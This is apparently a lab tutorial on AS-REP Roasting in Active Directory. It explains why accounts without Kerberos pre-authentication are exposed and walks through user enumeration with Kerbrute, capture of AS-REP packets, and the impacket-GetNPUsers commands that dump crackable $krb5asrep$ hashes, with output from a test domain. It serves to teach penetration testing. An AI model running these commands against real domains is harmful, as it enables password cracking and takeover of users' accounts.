

## AS-REP Roasting

## Intro

If in **AS-REQ roasting** the main target is the get **cypher timestamp** to then try to crack it, in the **AS-REP Roasting**, the Authentication Services Reply to the User, the target is the **network packet** that contains the **session key** and that is **cypher with the user cypher key** to the try to crack it off line.

But, which is the difference? The difference here is that a privilege that involves the UAC will come into play, which will allow us **to obtain the TGT** *without having to do the pre-authentication process*.

That's means, that we, being other user, can send the name of any domain user and the Authentication Services going to find that user, and if he is in the Domain database going to cypher the **TGT** with the private Key of the **TGS** and then going to **cypher the packet with the session Key** and the **private Key** of that user that we have already send. Then, the **AS** going to *Reply* is the **network packet** that contains the **session key** and that is **cypher with the user cypher key** and we are going to try **to crack it off line**.

For that reason Windows Implements the method of pre authentication, for an attacker can not sniff or intercept the traffic in any way.

## 🥵🔽 Exploiting AS-REP Roasting

We have to start to identify those users on the system that ***Do not require Kerberos preauthentication*** 😊.

Supposing that we have created an user list, we can use **Kerbrute** with the options **enumuser** meanwhile we are sniffing the network traffic.

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└─> ~/Desktop/Maquinas Active Directory/Kerbrute > ./kerbrute_linux_amd64 userenum -d corp.local users.txt

  Kerbrute

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2025/01/21 17:25:37 > Using KDC(s):
2025/01/21 17:25:37 > dc01.corp.local:88

2025/01/21 17:25:37 > [+] VALID USERNAME:      orel.doll@corp.local
2025/01/21 17:25:37 > [+] VALID USERNAME:      employeri@corp.local
2025/01/21 17:25:37 > [+] VALID USERNAME:      employeri@corp.local
2025/01/21 17:25:37 > [+] VALID USERNAME:      king.pammy@corp.local
2025/01/21 17:25:37 > [+] VALID USERNAME:      opal.jenilee@corp.local
2025/01/21 17:25:37 > Done! Tested 5 usernames (5 valid) in 0.040 seconds

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Once we have done this, we have to watch the sniffer on that we have to capture the network traffic and find those network packets with the headers **AS-REP**

No.	Time	Source	Destination	Protocol	Length	Info
17	0.005151138	192.168.20.128	192.168.20.5	KRB5	188	AS-REQ
18	0.005315739	192.168.20.128	192.168.20.5	KRB5	189	AS-REQ
19	0.018688537	192.168.20.128	192.168.20.5	KRB5	186	AS-REQ
20	0.018743538	192.168.20.128	192.168.20.5	KRB5	186	AS-REQ
21	0.018796738	192.168.20.128	192.168.20.5	KRB5	186	AS-REQ
22	0.018839139	192.168.20.5	192.168.20.128	KRB5	134	KRB Error: KRB5KRB_ERR_RESPONSE_TOO_BIG
23	0.018845639	192.168.20.5	192.168.20.128	KRB5	134	KRB Error: KRB5KRB_ERR_RESPONSE_TOO_BIG
24	0.018846446	192.168.20.5	192.168.20.128	KRB5	225	KRB Error: KRB5KDC_ERR_PREAUTH_REQUIRED
25	0.028047048	192.168.20.5	192.168.20.128	KRB5	225	KRB Error: KRB5KDC_ERR_PREAUTH_REQUIRED
27	0.020119648	192.168.20.5	192.168.20.128	KRB5	225	KRB Error: KRB5KDC_ERR_PREAUTH_REQUIRED
45	0.038175182	192.168.20.128	192.168.20.5	KRB5	217	AS-REQ
46	0.038337083	192.168.20.128	192.168.20.5	KRB5	215	AS-REQ
47	0.039280990	192.168.20.5	192.168.20.128	KRB5	1688	AS-REP
48	0.039295590	192.168.20.5	192.168.20.128	KRB5	1648	AS-REP
95	56.281475591	192.168.20.130	192.168.20.5	DCERPC	1974	Bind: call_id: 2, Fragment: Single, 3 context items: DR5UAPI V4.0 (32bit NDR), DR5UAPI V4.0 (64bit NDR), DR5UAPI V4.0 (64bit NDR)
97	56.282408087	192.168.20.5	192.168.20.130	DCERPC	338	BindAck: call_id: 2, Fragment: Single, max_xmit: 5840 max_recv: 5840, 3 results: Provider rejection, Acceptance, Negotiate ACK
98	56.283292984	192.168.20.130	192.168.20.5	DCERPC	274	AlterContext: call_id: 2, Fragment: Single, 1 context items: DR5UAPI V4.0 (64bit NDR)
120	56.380025111	192.168.20.130	192.168.20.5	LDAP	1865	bindRequest(3) "<root>" sasl
122	56.381352405	192.168.20.5	192.168.20.130	LDAP	264	bindResponse(3) success
132	56.310080666	192.168.20.130	192.168.20.5	LDAP	1865	bindRequest(9) "<root>" sasl

Then we just have to build the hash in the format that we saw in the in the **AS-REQ Roasting** and try to crack it offline, with the difference that all the info to build the hash is in the same network packet

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Kerberos
  Record Mark: 1616 bytes
  - as-rep
    pvno: 5
    msg-type: krb-as-rep (11)
    - padata: 1 item
      - PA-DATA: PA-ETYPE-INFO2 (19)
        - padata-type: PA-ETYPE-INFO2 (19)
          - padata-value: 002301f4080920112a1181b10434f52502e4c4f43414c4f70616c2e4a656e696c6505
            - ETYPE-INFO2-ENTRY
              etype: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)
              salt: CORP.LOCAL\opaljenilee
        - crealm: CORP.LOCAL
        - cname
          name-type: KRB5-NT-PRINCIPAL (1)
          - cname-string: 1 item
            - CNameString: opaljenilee
        - ticket
          tkt-vno: 5
          - sname
            name-type: KRB5-NT-SRV-INST (2)
            - sname-string: 2 items
              - SNameString: krbtgt
              - SNameString: CORP.LOCAL
        - enc-part
          etype: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)
          kvno: 3
          cypher [..]: 4cf92bbff3c5cc738b6522ff6943c61b84f992cf696ac707bad021b012d1d2896e67c6dd20e5934df383a66a91fb52c3b45fd5b4912e65e942613c32cbcd59e46f1cdddf8a3a73ed7708afb761179f4886611c0a7315be9b4130993
  [Response to: 45]
  [Time from request: 0.00113888 seconds]
  
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**\$krb5pa\$18\$User\$THE.DOMAIN\$TheSalt\$thecypher**

**AS-REQ With impacket**

The other way to try to get those AS-REP Rosteable Users using a user list, but in an automatic way, is with the too **impacket**. Specifically using the next command

**impacket-GetNPUsers domain.local/ -users the\_file\_users.txt -format john -outfile hash\_files.txt**

And the result going to be the hashes already built and ready to to be cracked

```

~/Desktop/Maquinas Active Directory/Hashes > ./impacket-getNPUsers corp.local/ -users users.txt -format john -outfile hash_files.txt
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./usr/share/doc/python3-impacket/examples/getNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[-] User employee1 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User employee1 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User orel.doll doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User asrep@corp.local:CORP.LOCAL:1732213b55087f1661c21cf686b0b50ecdf1640b2f99523e754e4bdafeebea8ce8348e0822a4aa29c153e954760a84ac3546f8cf68c8aadb5aaf59e9322b1f92789834bd123b63753ad528c253cbdc1c5be0bb224985de569c767a0f95a86fc1b1af23ba6497479fb4db0cd2826c43fdef2ba0c1539ef0eb092d8f98d42e21e5e0bb22562feb751650fed3ba9fd6f3abf8ef019ec5213c89926df6297fc0b25d2d6589ae576111f9f3221214ee3a6c16bbfa0428757d553f3c168562aa39d6b88e1b17931ac75d1c84e8816ab213445cee95a5b1b2950e0b7904a00236c085d12cb537a80e1026333153a00236b0091
[-] User asrep@corp.local:CORP.LOCAL:39abab6c523254f3c2a3b5fe09294b2f549373d7dbb3d9f954b01398f79e4314108f4db217794a2a2fe236cd64e05f3e027cc83879f830e38000e6b2b3863e2f4474980b8e8523e29b0292a00b4f137bdfdb8b1e52bb6d1753151cac072c13bc9380b35810867b77f11a4b8a0856f2d0f5d9c5838708feb325100d03d69af07289beaab776eeafa7591fbaef32868cb4d32eaa5e3e8cbab08526fa5d7e8b1c91b9cfadd88172aeeed258a7688d197d801efb0b7c79c50e8399f5953c8753da6f5f9f6846ac00988a5789295f201caad5b9ef9b09888fced84398026572962a973174a848458c085139d46dfaf3c453d1cd6d9
  
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And, If we have **the credentials of an user in the domain** we can enumerate all the user that ***Do not require Kerberos preauthentication*** and even dump the the hashes already built to be cracked with the command

**impacket-GetNPUsers domain.local/username:password -format john -outfile hash\_file.txt**

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Name      MemberOf      PasswordLastSet      LastLogon      UAC
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king.pammy CH-IT Admins,CH-Users,DC-corp,DC-local 2024-12-27 21:15:38.434873 2025-01-21 18:25:13.242926 0x000200
heather.danit CH-marketing,CH-users,DC-corp,DC-local 2024-12-27 21:15:46.464388 2025-01-21 18:28:39.189442 0x000200
opal.jenilee CH-accounting,CH-Users,DC-corp,DC-local 2025-01-21 17:01:14.664394 2025-01-21 18:25:13.195716 0x000200

/usr/share/doc/python3-impacket/examples/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
$krb5asrep$king.pammy@CORP.LOCAL:0bc55d66a2b1699e458c0d1af32ab1744dc6acc8ebc5a5a7fb20eba315d4bc37f6e57a754e874d631b3a77115e2bd8de2eb9b35246d7bd18e580a17f1d113e27ec12911e0c5bedb74cb5986b046f403489875a09f67b5bbabdc9f2efdd62cd55e73526
637b947e1c817b55c5ff7f014a683cb268ad64cf16117a37b82c16ef99e4ac555cf6f62bbd9d81a34bf0cf8fee1c65583c78b3107675183b8da02b6ff8e90b12c9aec86e248843794f41046fc4b6a99a38e3ad88d00f47d871c5e71bed5784fdb1248153c8947e7cc761f7210f4a5992c46dd21
2aea5ebde30f7553e4ec3497a3839318f1763312f6e05c806c817c8
$krb5asrep$heather.danit@CORP.LOCAL:f16077697259e1799a49115ba26ae7c5c1eab8a8bf3df60da5bee3fa6683bacfc059405a637461276ee65c3c7eb02c7f7ce17a724db1780bcfd82c44ccaa188365b257c723e17b159dc2a20cf4e13257544bd79e08e62ae8b31b4468f3cd5699907f
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3184e5431a406cf4bf16f8c2d59237a0ef4286cf0774540ab0ecf7c2dcd
$krb5asrep$opal.jenilee@CORP.LOCAL:eeefcd81644b7c1fbc18f33c3360e11e4d26c2727754fd40b06ba57d331fb99b9017c9f5b4537fde9ff70e0eb40e03b1a24b6900615769a632ec6a41f38c9ef77ff448d7e1d85b96032c0d56892225f99a90ca387a931145720986ba94aae11ab6ab
20799cd4c4e094c28f1cc8f0eb1732cc31a7d9cd8d36c92abb07d2cdeb3db33479170c287bf54ce92a2143735337bc881699102830f830a26a00a0e83bce3502e5254f9fa0db0951101d3abb0dec7ec03809f29e4c9fe085410d9e890fc5b7a1240d62cbb404b0a6c00971e9fd58a3740a6ab2d782
0758c09c402ed6c274a3baac28d070c3f297f623ee2565305389aaa763
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## Additional info.

We can enumerate those users on the domain that are susceptible to **AS-REQ** roasting using **bloodhound** 🦋. Specifically in the analysis apart and click on **Find AS-REP Rosteable Users**

